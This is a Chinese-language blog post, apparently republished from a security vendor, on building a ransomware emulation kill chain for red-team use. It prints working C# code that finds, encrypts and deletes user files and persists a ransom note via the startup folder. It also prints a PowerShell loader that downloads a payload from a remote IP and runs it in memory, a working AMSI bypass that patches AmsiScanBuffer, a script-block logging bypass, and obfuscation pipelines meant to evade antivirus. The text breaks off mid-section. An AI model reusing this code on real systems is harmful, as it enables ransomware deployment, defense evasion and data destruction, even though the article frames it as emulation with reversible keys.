如何模拟勒索软件攻击场景

admin 2024年4月22日06:41:09评论5 views字数 30398阅读101分19秒阅读模式

如何模拟勒索软件攻击场景

概述

下图描述了 SpectreInsight 勒索软件仿真 SpecterScript 的工作原理,并概述了每个步骤所使用的技术。从较高层面来看,当操作员要求目标环境中运行的 Spectre 部署勒索软件脚本时,杀伤链就会启动。该脚本可以从 Active Directory 生成目标列表,也可以使用操作员提供的目标列表。它扫描网络以识别可到达的目标。它将本地系统从目标列表中删除,这样您就不会破坏您在网络中的唯一立足点。

一旦构建了目标列表,脚本就会从 C2 服务器中提取有效负载。有效负载在 C2 服务器上被混淆,并插入 AMSI 旁路以逃避 AV 干扰。

然后,该脚本尝试使用 WMI、计划任务或 Windows 服务控制管理器在每个可访问的目标上远程运行有效负载。

在每个目标上,有效负载将到达 C2 服务器并将完整有效负载拉入内存中。一旦勒索软件有效负载执行,它就会找到所有可能有趣的文件并开始使用 AES 256 对其进行加密。然后它会删除原始文件。这一步是多线程的,以加快执行速度。

最后,勒索消息应用程序被删除到磁盘并运行,以通知用户他们是勒索软件的受害者。

如何模拟勒索软件攻击场景

MITRE ATT&CK 技术

在此杀伤链中使用以下 MITRE ATT&CK 技术:

  • T1046 – 网络服务枚举:利用该技术从目标列表中快速识别正在运行的系统,以加速杀伤链。

  • T1018 – 远程系统发现:此技术用于在使用脚本自动目标模式时通过查询 Active Directory 来查找连接到域的计算机名称来识别目标。

  • T1016 – 系统网络配置发现:脚本使用此技术将自身从目标列表中删除。

  • T1027.005 – 从工具中删除模糊文件或信息指示器:此技术用于防御规避,以绕过自动防御,例如已安装的 AV。

  • T1059.001 – 命令和脚本解释器 PowerShell:在将勒索软件作为轻量级加载程序分发时使用此技术,该加载程序下载并执行勒索软件有效负载。

  • TA1021 – 远程服务:

1.TA1021.006 – 远程服务 Windows 远程管理:这是脚本用于在每个目标上执行有效负载的一种可能技术。

  • T1053.005 – 计划任务:这是脚本将用来在每个目标上执行有效负载的一种可能技术。

  • T1543 – 创建或修改系统进程 Windows 服务:这是脚本用于在每个目标上执行有效负载的一种可能技术。

  • T1569.002 – 系统服务服务执行:这与之前的技术相关,只是执行组件。

  • T1078 – 有效帐户:所有分发技术都需要使用有效帐户,无论是域帐户还是本地帐户。

道德考虑

我们始终关注减少对我们软件的恶意使用,但勒索软件尤其棘手。我们希望展示现实的行为,而不是构建一些可以立即扭转并用来造成严重破坏的东西。为了减少恶意使用此功能,有效负载使用可逆加密对文件进行加密,并将对称密钥与每个加密文件一起存储,从而使解密和恢复数据变得轻而易举。此外,我们提供了一个解密器,可以完全恢复任何系统,并且不需要支付赎金。

即使威胁行为者获得了对我们软件的访问权限,他们也需要推出自己的加密机制,构建自己的加密器,并创建一个新的勒索消息应用程序,以使该杀伤链适用于任何现实世界的场景......这否定了大部分如果您无论如何都必须自己完成所有工作,那么使用此产品的原因。我们的目标是,威胁行为者从窃取我们的产品中获得的利益,除了从 GitHub 上克隆开源 C2 框架之外,什么也得不到。

流程

该杀伤链分为四个不同的部分,每个部分都有不同的职责。

  • 加密器:此组件是主要有效负载,负责在其运行的系统上查找和加密文件。这实际上是勒索软件。加密完成后,它将勒索消息删除到磁盘并运行程序以通知当前用户他们已被黑客攻击。

  • 加载器:加载器负责绕过防御,从C2服务器下载加密器并运行。

  • 勒索消息/解密器:该组件负责在支付赎金后显示勒索消息并解密文件。

  • 部署脚本:此脚本负责识别可到达的目标、下载有效负载并将有效负载部署到所有可到达的目标。

加密器

该加密器是一个与 .NET Framework 2.0 兼容的控制台应用程序,它使用 AES 256 和动态生成的对称密钥来查找和加密文件。它执行您期望从勒索软件负载中获得的所有标准行为。它以文件为基础进行操作,并使用多线程来加速加密。一旦合法文件被加密,加密版本就会以自定义文件扩展名保存到磁盘,并删除原始文件。此外,解密密钥与加密文件一起存储,以便可以轻松恢复原始数据。

我们将把这个程序分成几个部分并详细研究每个部分。

识别文件

加密器的第一步是识别要加密的文件列表。

我们不想加密每个文件,因为这会很慢并且可能会损坏机器,因此我们向目标添加了一组硬编码的文件扩展名。我希望将来将其设为可配置选项,但现在就可以了。

private static readonly string[] Extensions = new string[] { ".doc", ".docx", ".xls", ".xlsx", ".xlsb", ".ppt", ".pptx", ".odt", ".ods", ".odp",".sql", ".mdb", ".accdb", ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tif",".mp3", ".mp4", ".avi", ".mov", ".wmv", ".zip", ".rar", ".bak", ".iso", ".7z", ".json",".vmdk", ".vhd", ".vhdx", ".py", ".java", ".cpp", ".h", ".php", ".js", ".cs", ".css", ".md",".asp", ".aspx", ".ps1", ".vbs", ".bak", ".backup", ".log", ".pdf", ".txt", ".rtf", ".csv"};

接下来,我们需要找到所有要加密的文件。不幸的是,.NET 2.0 没有一个很好的方法来递归搜索文件。它提供了一个看起来很有前途的方法,称为Directory.GetFiles,它接受一个路径、一个模式过滤器以及一个用于仅搜索顶级目录或所有目录的选项。此方法不起作用的原因是,如果在搜索过程中的任何时候抛出异常,它就会中断。例如,如果某人将目录的权限更改为仅允许自己进行读取访问,则此搜索将引发异常。此外,此方法仅接受一种过滤模式,而我想匹配数十种不同的扩展。模式语言不支持 OR 运算,因此我必须提取所有具有扩展名的文件并手动过滤它们。这不是一个阻碍,但它是一个考虑因素。

因此,我们必须编写自己的方法以递归方式搜索文件并忽略任何异常。我首先创建一个不区分大小写的扩展字典以加速匹配。我使用队列来存储需要搜索的目录并将顶级目录添加到其中。I 循环直到队列为空并一次提取一个目录。我首先将子目录添加到队列中。然后,对于当前目录中具有扩展名的每个文件,我检查该扩展名是否在目标列表中。如果是这样,那么我将该文件添加到结果中。

public static void FindFiles(string path, IEnumerable<string> extensions, List<string> files) { Queue<string> directories = new Queue<string>();//Build a case-insensitive lookup table of file extensions Dictionary<string, string> table = new Dictionary<string, string>(StringComparer.InvariantCultureIgnoreCase);foreach(string extension in extensions) {if (!table.ContainsKey(extension)) { table.Add(extension, extension); } } directories.Enqueue(path);while(directories.Count > 0) {string currentDirectory = directories.Dequeue();//Queue sub-directories, ignore errorstry {foreach(string directory in Directory.GetDirectories(currentDirectory)) { directories.Enqueue(directory); } } catch { }//Search files, ignore errorstry {foreach (string file in Directory.GetFiles(currentDirectory, "*.*", SearchOption.TopDirectoryOnly)) {string extension = Path.GetExtension(file);if(table.ContainsKey(extension)) { files.Add(file); } } } catch { } }}

加密方式

在加密任何内容之前,我需要实例化对称加密算法。.NET Framework 具有 AES-256 的类,但有两个版本:(1) Rijndael 和 (2) Aes。Rijndael 是 .NET 2.0 中的 OG 方法,但在未来版本中已弃用,并且在未安装 .NET 2.0 的情况下将无法运行。我无法保证 .NET 2.0 将出现在每个系统上,因此我必须针对这两种情况进行规划。Aes 类直到 .NET 3.5 才发布。为了支持所有可能的平台 2.0 及更高版本,我利用反射首先检查较新的类是否存在,然后检查较旧的类。然后,我通过调用不带参数的静态 Create 方法来实例化该类。

private static SymmetricAlgorithm GetSymmetricAlgorithm() { Type type = typeof(ICryptoTransform).Assembly.GetType("System.Security.Cryptography.Aes");if(type == null) {type = typeof(ICryptoTransform).Assembly.GetType("System.Security.Cryptography.Rijndael"); }if(type == null) {throw new InvalidOperationException(); } MethodInfo create = type.GetMethod("Create", new Type[0], new ParameterModifier[0]);if(create == null) {throw new InvalidOperationException(); } SymmetricAlgorithm algorithm= (SymmetricAlgorithm)create.Invoke(null, new object[0]);return algorithm;}

为了同步加密线程,我组合了一个简单的并发队列,以允许工作线程提取新文件进行加密,而无需重复工作或相互干扰。它不需要支持排队方法,所以我没有实现。代码越少越好。

internal class ConcurrentQueue {public ConcurrentQueue(string[] items) {this._items = items; }public bool TryDequeue(out string item) {int index = Interlocked.Increment(ref this._index);if(index >= this._items.Length) { item = null;return false; } item = this._items[index];return true; }private string[] _items;private int _index = -1;}

我们需要一种方法来为每个加密线程提供输入。在这种情况下,每个线程都需要并发队列、键和 IV 的副本。我整理了一个简单的存储类。

internal class ThreadedInput {public byte[] Key { get; }public byte[] IV { get; }public ConcurrentQueue Queue { get; }public string Extension { get; }public ThreadedInput(byte[] key, byte[] iV, ConcurrentQueue queue, string extension) {this.Key = key;this.IV = iV;this.Queue = queue;this.Extension = extension; }}

接下来,我实现了一种并发方法来处理存储在线程安全队列中的文件。当队列不为空时,当前线程会拉取一个新文件,对其进行加密,并尝试删除原始文件。

private static void Run(ThreadedInput input) {using (SymmetricAlgorithm aes = Program.GetSymmetricAlgorithm()) { aes.Key = input.Key; aes.IV = input.IV;using (ICryptoTransform encryptor = aes.CreateEncryptor()) {while (input.Queue.TryDequeue(out string path)) {try {byte[] plaintext = File.ReadAllBytes(path);byte[] ciphertext = Program.Encrypt(encryptor, plaintext, input.Key, input.IV);string outpath = path + input.Extension; File.WriteAllBytes(outpath, ciphertext); File.Delete(path); } catch { } } } }}

实际的加密机制非常简单。它创建一个 MemoryStream 并将密钥和初始化向量写入未加密的流中。然后它对文件内容运行 ICryptoTransform 并将其附加到 MemoryStream。这会产生一个包含密钥、IV 和加密文件的字节数组。

private static byte[] Encrypt(ICryptoTransform encryptor, byte[] plaintext, byte[] key, byte[] iv) {//Create the streams used for encryptionusing (MemoryStream ms = new MemoryStream()) {//Store the key + iv for easy decryption without paying ransom ms.Write(key, 0, key.Length); ms.Write(iv, 0, iv.Length);using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write)) {//Write the bytes to the crypto stream cs.Write(plaintext, 0, plaintext.Length); cs.FlushFinalBlock(); }//Return the encrypted bytes from the memory streamreturn ms.ToArray(); }}

显示勒索信息

加密完成后,该程序会将勒索消息二进制文件放入磁盘,并在所有用户的启动目录中创建一个 LNK 文件,以便每当有人登录时就会运行勒索消息程序。最后,它会重新启动计算机以断开所有用户的连接并强制他们重新登录。

我可以使用很多方法来嵌入勒索信息。我选择使用 GZip 压缩二进制文件,对其进行 Base64 编码,并将其嵌入为字符串。我选择此选项的原因是 (1) 使用 GZip 减小其大小,以及 (2) 我使用的混淆方法在 C# 源代码上运行,并且当标记较少时,它的性能会更好。从文件大小的角度来看,嵌入字节数组会更有效,但是当我们稍后混淆源代码时,创建 30k 令牌会产生更显着的影响。

右侧的方法对存储在字符串 Program.Message 中的勒索消息二进制文件进行解码和解压缩。为了简洁起见,此处未包含 Base64 字符串。

提取程序后,可以使用 File.WriteAllBytes 将其写入文件。现在,我们只需将其放到 C:ProgramData 即可。

private static byte[] GetMessagePayload() {byte[] contents = Convert.FromBase64String(Program.Message);using (MemoryStream ms = new MemoryStream(contents)) {using (GZipStream gzs = new GZipStream(ms, CompressionMode.Decompress)) {using (MemoryStream oms = new MemoryStream()) {byte[] buffer = new byte[1024];int bytesRead = 0;while ((bytesRead = gzs.Read(buffer, 0, buffer.Length)) > 0) { oms.Write(buffer, 0, bytesRead); }return oms.ToArray(); } } }}

一旦勒索消息被删除到磁盘,我们需要使其持久化,以便它在任何用户登录时运行。我们可以从这里选择一些选项。最终,我在全局启动目录中选择了一个简单的 LNK 文件。我将总结其他选项以及为什么我不选择它们:

  • 计划任务: 似乎可以计划在“经过身份验证的用户”下运行的任务,以便任何用户(本地或域)在登录时触发它,但 schtasks.exe 似乎不支持这一点。使用 API 也许可以,但我不想添加更多代码或依赖项。我想让有效负载尽可能简单和紧凑。

  • 运行密钥:可以访问每个用户的注册表配置单元并插入一个条目来运行勒索消息,但这对于新用户或在当前系统上没有配置文件的域用户不起作用。

  • 在 NT AUTHORITYSYSTEM 下运行的任何机制:可以从以 SYSTEM 身份运行的进程在登录用户的 Windows 工作站下运行进程,但我必须添加一堆 PInvoke 代码来执行此操作。此外,我还必须添加等待用户登录然后触发勒索消息的代码。这是超出其价值的工作,并且增加了大量代码和一些复杂性。

  • 组策略: 您可以使用组策略对象配置几乎任何类型的持久性。它还可以解决将持久性技术应用于新用户登录的问题,例如上面提到的 Run Key 方法,但 Windows Home 版本不支持此 GPO。我想最大化兼容性,所以没有选择这种方式。

然后我想起了全局启动目录。此方法可确保我们的勒索消息有效负载将在任何用户登录时运行,即使该用户之前没有配置文件。不幸的是,此方法还会尝试运行必须与勒索消息可执行文件位于同一目录中的 .config 文件,然后该文件会向用户生成一个恼人的弹出窗口,该弹出窗口将显示在勒索消息前面。因此,我需要将勒索消息可执行文件放入单独的目录中,并将 LNK 文件放入启动目录中。幸运的是,定义 COM 对象的接口来创建 LNK 文件也很容易,因此我不必添加一堆代码,也没有额外的依赖项。

为了实现这种持久性技术,我向 Utility 类添加了一个方法,用于创建指向磁盘上可执行文件的基本快捷方式。然后,我根据 Microsoft文档添加了 IShellLink 接口的定义。GUIDS 从该页面开始平静下来。

类型定义到位后,我们可以简单地实例化 ShellLink 对象并将其类型转换为 IShellLink 接口。我们现在可以调用该接口中的任何方法,即 SetPath 和 SetDescription。

最后,我们将链接对象强制转换为 IPersistFile 接口(该接口已在 mscorlib 中定义),以调用 Save 方法。该调用将生成一个格式正确的 LNK 文件,指向我们想要的任何路径。

public static class Utility {public static void CreateShortcut(string path, string target) { IShellLink link = (IShellLink)new ShellLink();//Setup shortcut information link.SetDescription("Decryptor"); link.SetPath(target);//Save it IPersistFile file = (IPersistFile)link; file.Save(path, false); } [ComImport] [Guid("00021401-0000-0000-C000-000000000046")]internal class ShellLink { } [ComImport] [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] [Guid("000214F9-0000-0000-C000-000000000046")]internal interface IShellLink {void GetPath([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszFile, int cchMaxPath, out IntPtr pfd, int fFlags);void GetIDList(out IntPtr ppidl);void SetIDList(IntPtr pidl);void GetDescription([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszName, int cchMaxName);void SetDescription([MarshalAs(UnmanagedType.LPWStr)] string pszName);void GetWorkingDirectory([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszDir, int cchMaxPath);void SetWorkingDirectory([MarshalAs(UnmanagedType.LPWStr)] string pszDir);void GetArguments([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszArgs, int cchMaxPath);void SetArguments([MarshalAs(UnmanagedType.LPWStr)] string pszArgs);void GetHotkey(out short pwHotkey);void SetHotkey(short wHotkey);void GetShowCmd(out int piShowCmd);void SetShowCmd(int iShowCmd);void GetIconLocation([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszIconPath, int cchIconPath, out int piIcon);void SetIconLocation([MarshalAs(UnmanagedType.LPWStr)] string pszIconPath, int iIcon);void SetRelativePath([MarshalAs(UnmanagedType.LPWStr)] string pszPathRel, int dwReserved);void Resolve(IntPtr hwnd, int fFlags);void SetPath([MarshalAs(UnmanagedType.LPWStr)] string pszFile); }}

装载机

加载程序是一个 PowerShell 脚本,将从 Spectre 部署以在目标环境中的每个系统上运行。该脚本本身包含防御规避技术来安全地加载加密器。然后它下载加密器并反射加载模块。然后它调用 main 方法来启动有效负载。未混淆的脚本如下所示:

该脚本的第一个片段动态编译一个小型 C# 类,该类在服务器使用自签名证书时禁用 SSL/TLS 证书验证。

Add-Type @"using System.Net;using System.Net.Security;using System.Security.Cryptography.X509Certificates;public static class CertificateValidator {private static bool OnValidateCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) {return true;}public static void OverrideValidation() {ServicePointManager.ServerCertificateValidationCallback = CertificateValidator.OnValidateCertificate;}}"@[CertificateValidator]::OverrideValidation();

下一个代码片段下载混淆的勒索软件有效负载,它是一个 .NET 2.0 兼容的可执行文件。如果下载失败或未下载任何内容,则脚本退出。

$client = New-Object System.Net.WebClient;$contents = $client.DownloadData("https://192.168.1.101/static/remote/documents?kind=26");if($contents -eq $null) {exit;}

最后一个片段从我们在上一步中下载的字节数组中反射性地加载 .NET 可执行文件作为模块。然后它使用空字符串数组调用入口点方法。

$module = [System.Reflection.Assembly]::Load($contents);$parameters = [object[]]@(,[string[]]@());$module.EntryPoint.Invoke($null, $parameters);

防御规避

防御规避对于可重复的杀伤链绝对至关重要。如果我们编写一个静态有效负载,我们可能可以让它针对各种反病毒软件工作,但该有效负载将很快被签名并变得无法使用。那么,我们如何将防御规避集成到有效载荷生成管道中?我们可以利用 SpectersInsight 混淆管道,以便每次使用此技术时,我们都会获得一个全新的、未签名的有效负载,并且成功规避的可能性很高。

我们还需要绕过反恶意软件扫描接口 (AMSI) 等防御措施来减轻反病毒干扰。这是通过使用 API 调用挂钩来禁用 AMSI.dll 的 AmsiScanBuffer 方法来完成的。

PowerShell 混淆

SpecterInsight 提供了混淆图功能,可以通过不同的 PowerShell 代码转换应用于 PowerShell 脚本,以便在混淆图的每次执行时生成唯一的有效负载。下图概述了为勒索软件模拟管道构建的混淆图:

如何模拟勒索软件攻击场景

这是我们用于勒索软件加载脚本的主要 PowerShell 混淆管道。右边的代码是实际的实现。此方法采用 PowerShell 脚本并应用混淆图,其中图中的每个节点都是混淆技术。

我们将详细了解每个节点。

public string ApplyPowerShellObfuscation(string original) { InvokeMemberExpressionAstTransform memberExpressions = new InvokeMemberExpressionAstTransform(); memberExpressions.Filters = new string[] { "^.*specter.*$", "^.*AmsiUtils.*$", "^.*System.Runtime.InteropServices.Marshal.*$" }; AmsiBypassPatchInMemory amsi = new AmsiBypassPatchInMemory(); LoggingBypassCachedPolicy logging = new LoggingBypassCachedPolicy(); CombineMultiTransform combine = new CombineMultiTransform(); RemoveCommentsTokenTransform comments = new RemoveCommentsTokenTransform(); VariableNameTransform variables = new VariableNameTransform(); StringTransform strings = this.GetRandomStringTransform();string modified = memberExpressions.Evaluate(original);string bypass = amsi.Evaluate();string logbypass = logging.Evaluate();string current = combine.Evaluate(bypass, logbypass, modified); current = comments.Evaluate(current); current = variables.Evaluate(current); current = strings.Evaluate(current);return current;}

第一层混淆成员表达式。许多反病毒签名都会查找对特定类型的引用,例如 System.Management.Automation.AmsiUtils。这是恶意软件通常引用的内部类来绕过 AMSI。因为它是一个内部类,所以几乎没有合法的理由来引用该类,使其成为创建检测规则的良好字符串。InvokeMemberExlressionAstTransform 使用字符串将显式类型引用转换为反射引用。我们稍后在后续层中使用 StringTransform 类对该字符串进行混淆。

原来的

[SpecterInsight.Agent]::Initialize()

混淆的

[System.Reflection.Assembly]::GetAssembly('SpecterInsight.Agent').GetType('SpecterInsight.Agent').GetMethod('Initialize').Invoke($null, $null)

AmsiBypassPatchInMemory 层在脚本开头产生 AMSI 绕过。该绕过的工作原理是使用动态生成的 .NET 代码覆盖内存中 Amsi.dll::AmsiScanBuffer 函数的内容。其代码如右图所示。我们在混淆堆栈的早期插入旁路,以便后续层减轻此旁路技术的 AV 签名。

此代码仅与 PowerShell 版本 3.0 或更高版本相关,因为早期版本中不存在 AMSI。通常,PowerShell 无法直接访问低级 Win32 API 调用,因此此代码的大部分集中于获取目录调用三个 Win32 API 方法的方法:(1) GetModuleHandle、(2) GetProcAddress 和 (3) VirtualProtect 。

第一个代码块动态生成一个 .NET 类,该类公开 P/Invoke 方法来访问 VirtualProtect。

下一个块使用反射来查找 Microsoft.Win32.UnsafeNativeMethods 类,该类已经包含我们需要的其他两个方法。然后,它获取 GetModuleHandle 和 GetProcAddress 的 MethodInfo 对象。请注意,对这些方法的所有引用都是字符串或变量名称,我们可以稍后进行混淆。

下一个块查找内存中 AMSI.dll::AmsiScanBuffer 存在的位置。这种方法允许 PowerShell 将脚本、命令和 .NET 模块提交到已安装的 AV 进行扫描。

使用 AmsiScanBuffer 的地址,最后一个块用一些机器指令覆盖该函数,以始终返回 AMSI_RESULT_NOT_DETECTED。

请注意,此处手动混淆补丁值本身,以减轻原始补丁值的 AV 签名。

if($PSVersionTable.PSVersion.Major -gt 2) { $DynAssembly = New-Object System.Reflection.AssemblyName("Win32") $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False) $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class") $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError") $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,"kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True))# Define [Win32.Kernel32]::VirtualProtect $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect","kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $Kernel32 = $TypeBuilder.CreateType() $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll") } $UnsafeNativeMethods = $SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods") $GetModuleHandle = $UnsafeNativeMethods.GetMethod("GetModuleHandle") $GetProcAddress = $UnsafeNativeMethods.GetMethod("GetProcAddress", [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null); $Kern32Handle = $GetModuleHandle.Invoke($null, "amsi.dll") $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) $left = "AmsiSc" $right = "anBuffer" $address = $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef,($left + $right))) $p = 0 [void]$Kernel32::VirtualProtect($address, [UInt32]5, 0x40, [ref]$p) $offset = [Byte[]](12, 22, 2, 17, 18, 11) $patch = [Byte[]](196, 109, 2, 24, 146, 206)for($i = 0; $i -lt $patch.Length; $i++) { $patch[$i] -= $offset[$i] } [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $address, 6)}

LoggingBypassCachedPolicy 层生成一个 PowerShell 脚本,该脚本通过使用反射修改缓存的组策略设置来禁用 PowerShell 日志记录。这是未混淆的版本。

try { $key1 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptBlockLogging" $key2 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellModuleLogging" $key3 = "HKEY_LOCAL_MACHINESOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellTranscription" $settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null); $settings[$key1] = @{} $settings[$key1].Add("EnableScriptBlockLogging", '0') $settings[$key2] = @{} $settings[$key2].Add("EnableModuleLogging", '0') $settings[$key3] = @{} $settings[$key3].Add("EnableTranscripting", '0')} catch { }

下一层只是将 AMSI 绕过、日志记录绕过和勒索软件加载脚本组合在一起。之后的层删除注释。我喜欢在我的有效负载源代码中嵌入注释,主要是因为我忘记了它以后是如何工作的,但我不希望这些注释出现在我的最终有效负载中。微软实际上对恶意脚本中发现的一些 PowerShell 注释有 AV 签名。RemoveCommentsTokenTransform 清理了所有这些。

VariableNameTransform 层顾名思义,它重命名变量。默认变量名称生成器基于我为另一个项目所做的一些研究,在该项目中,我抓取了数千个 Github 存储库,以识别所有不包含恶意代码的项目中最常用的变量名称。然后,我删除了特殊变量名称,例如 $_、$Input、$PSVersionTable 等以形成最终列表。当应用于输入脚本时,此转换会识别所有非特殊变量,并从上述预先生成的列表中随机选择一个变量名称。

右侧的代码演示了此转换的效果。

原来的

try { $key1 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptBlockLogging" $key2 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellModuleLogging" $key3 = "HKEY_LOCAL_MACHINESOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellTranscription" $settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null); $settings[$key1] = @{} $settings[$key1].Add("EnableScriptBlockLogging", '0') $settings[$key2] = @{} $settings[$key2].Add("EnableModuleLogging", '0') $settings[$key3] = @{} $settings[$key3].Add("EnableTranscripting", '0')} catch { }

混淆的

try { $accesstoken = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptBlockLogging" $dir = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellModuleLogging" $ensure = "HKEY_LOCAL_MACHINESOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellTranscription" $packagename = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null); $packagename[$accesstoken] = @{} $packagename[$accesstoken].Add("EnableScriptBlockLogging", '0') $packagename[$dir] = @{} $packagename[$dir].Add("EnableModuleLogging", '0') $packagename[$ensure] = @{} $packagename[$ensure].Add("EnableTranscripting", '0')} catch { }

StringTransform 层支持多种技术,包括:反向字符串、字符串格式化、字符串连接以及其他一些技术。右侧的示例演示了 StringFormatTransform 技术的效果。每次字符串分割都是随机的,因此每次迭代都会得到具有不同子字符串的不同脚本。

原来的

try { $key1 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptBlockLogging" $key2 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellModuleLogging" $key3 = "HKEY_LOCAL_MACHINESOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellTranscription" $settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null); $settings[$key1] = @{} $settings[$key1].Add("EnableScriptBlockLogging", '0') $settings[$key2] = @{} $settings[$key2].Add("EnableModuleLogging", '0') $settings[$key3] = @{} $settings[$key3].Add("EnableTranscripting", '0')} catch { }

混淆的

try {$key1 = [string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}{11}{12}{13}{14}{15}{16}{17}{18}{19}{20}{21}{22}{23}{24}{25}{26}{27}{28}","HK","EY","_","LOCA","L_MA","CHI","N","E","S","oftw","ar","eP","oli","c","ies","Micr","oso","ft","Win","dow","sPo","werS","hell","Scr","i","ptBl","ockL","ogg","ing")$key2 = [string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}{11}{12}{13}{14}{15}{16}{17}{18}{19}{20}{21}{22}{23}{24}{25}{26}{27}{28}{29}{30}","HKE","Y_LO","CA","L_","MAC","HI","NE","Sof","twar","eP","ol","icie","s","Mi","cros","o","ft","Wi","nd","o","ws","P","owe","r","She","ll","Mo","dul","eL","oggi","ng")$key3 = [string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}{11}{12}{13}{14}{15}{16}{17}{18}{19}{20}{21}{22}{23}{24}{25}{26}{27}{28}{29}{30}{31}{32}{33}{34}{35}{36}","HKEY","_LO","CA","L_MA","C","HINE","","S","OFT","W","A","RE","Wow6","43","2No","deP","o","lici","es","Mi","cro","so","ft","W","in","do","ws","Pow","er","She","l","l","T","rans","cr","ip","tion")$settings = [Ref].Assembly.GetType(([string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}{11}","Syst","em.M","a","na","ge","ment",".Aut","om","at","ion",".Ut","ils"))).GetField(([string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}","cac","hed","Gro","upP","ol","ic","yS","etti","n","gs")),([string]::format("{0}{1}{2}{3}{4}","Non","Pub","li","c,St","atic"))).GetValue($null);$settings[$key1] = @{}$settings[$key1].Add(([string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}","Enab","leSc","rip","t","Bloc","kL","oggi","n","g")), '0')$settings[$key2] = @{}$settings[$key2].Add(([string]::format("{0}{1}{2}{3}{4}{5}{6}{7}","En","a","b","leM","odu","leL","oggi","ng")), '0')$settings[$key3] = @{}$settings[$key3].Add(([string]::format("{0}{1}{2}{3}{4}{5}{6}","Ena","bleT","ran","s","cr","ipt","ing")), '0')} catch { }

这涵盖了 PowerShell 有效负载中包含的防御规避技术。这些技术共同构建了一个具有嵌入式 AMSI 旁路和日志旁路的勒索软件加载程序,由于应用了混淆管道,该加载程序可以抵抗 AV 检测和签名。最终,每次生成新的有效负载时,您都会获得一个独特的脚本。

C# 混淆

我们对用 C# 编写的加密器应用了类似的混淆过程。SpecterInsight 使用 Roslyn 解析器和重写器库提供内置 C# 混淆功能。

这是用于生成加密器本身的主要混淆堆栈。该方法获取 C# 程序的源代码并应用一堆不同的 C# 混淆方法。

我们将详细讨论每一项。

public string ApplyCSharpObfuscation(string code) {//Source code obfuscation graph CSharpAstTransform[] transforms = new CSharpAstTransform[] {new CSharpAmsiBypassHooking(),new CSharpStringVaultTransform() { Technique = CSharpStringVaultTransformTechnique.Random },new CSharpClassMemberShufflerTransform(),new CSharpVariableNameTransform(),new CSharpMethodNameTransform(),new CSharpClassNameTransform(),new CSharpNamespaceNameTransform() };return this.ApplyCSharpObfuscation(code, transforms);}

第一层是 CSharpAmsiBypassHooking 变换。此方法将以 C# 编写的 AMSI 旁路插入到程序中,并在主方法中调用函数来执行旁路。

此旁路的工作方式与之前的旁路非常相似。

下面的代码演示了该混淆层对基本程序的影响。

原来的

using System;namespace Example {public class Program {public static void Main() {string message = "Hello world!"; Console.WriteLine(message); } }}

混淆的

